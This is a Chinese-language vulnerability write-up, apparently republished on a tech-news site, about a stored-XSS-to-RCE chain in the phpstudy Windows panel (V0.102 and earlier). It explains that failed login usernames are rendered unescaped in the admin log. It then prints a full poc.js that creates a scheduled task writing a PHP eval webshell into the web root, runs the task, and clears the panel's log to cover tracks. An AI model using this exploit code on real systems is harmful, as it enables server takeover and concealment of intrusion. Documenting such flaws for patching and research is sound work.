phpstudy小皮Windows面板RCE漏洞

简介

phpstudy是一款集成了最新版apache+php+mysql+phpmyadmin+zendoptimizer的php调试环境程序包。该程序包无需复杂配置,一次性安装即可使用,是一款非常便捷且高效的php调试工具。此外,phpstudy还提供了开发工具和开发手册,进一步增强了其实用性。

概述

phpstudy小皮面板中存在一个远程代码执行(RCE)漏洞。经分析和复现,发现此漏洞源于一个存储型的跨站脚本(XSS)漏洞。通过在系统登录用户名输入框中注入XSS代码,并结合系统后台自动添加计划任务的功能,可以实现RCE。

影响版本

此漏洞影响小皮windows面板V0.102及以下版本。官方已发布修复版本,可从以下链接下载漏洞版本:https://www.php.cn/link/bea65a5d4303b90f2d29322ea14aeffb

漏洞复现

安装成功后,系统会弹出初始账号和密码:

phpstudy小皮Windows面板RCE漏洞

立即学习“PHP免费学习笔记(深入)”;

在尝试几次错误的用户名和密码后(需要正确输入验证码),发现错误的用户名会被记录到首页的操作日志中:

phpstudy小皮Windows面板RCE漏洞

进一步尝试在登录框中插入XSS代码,发现漏洞正是通过登录窗口的存储型XSS实现的。登录框未进行有效限制,且登录失败的用户名会被直接显示在小皮首页的日志中,从而可以插入任意XSS代码。结合phpstudy内置的计划任务功能,可以写入webshell实现RCE。

phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

系统后台的计划任务功能允许执行系统命令,因此通过登录处的XSS漏洞,可以写入计划任务来执行命令。

在VPS上部署时,需要插入以下poc.js文件(写入目录根据本地实际情况进行调整):

function poc() {  $.get('/service/app/tasks.php?type=task_list', {}, function(data) {    var id = data.data[0].ID;    $.post('/service/app/tasks.php?type=exec_task', {      tid: id    }, function(res2) {      $.post('/service/app/log.php?type=clearlog', {}, function(res3) {}, "json");    }, "json");  }, "json");}function save() {  var data = new Object();  data.task_id = "";  data.title = "test";  data.exec_cycle = "1";  data.week = "1";  data.day = "3";  data.hour = "14";  data.minute = "20";  data.shell = 'echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';  $.post('/service/app/tasks.php?type=save_shell', data, function(res) {    poc();  }, 'json');}save();

登录后复制

文章来自互联网,不代表电脑知识网立场。发布者:,转载请注明出处:https://www.pcxun.com/n/730805.html

(0)
上一篇 2025-06-13 08:20
下一篇 2025-06-13 08:20

相关推荐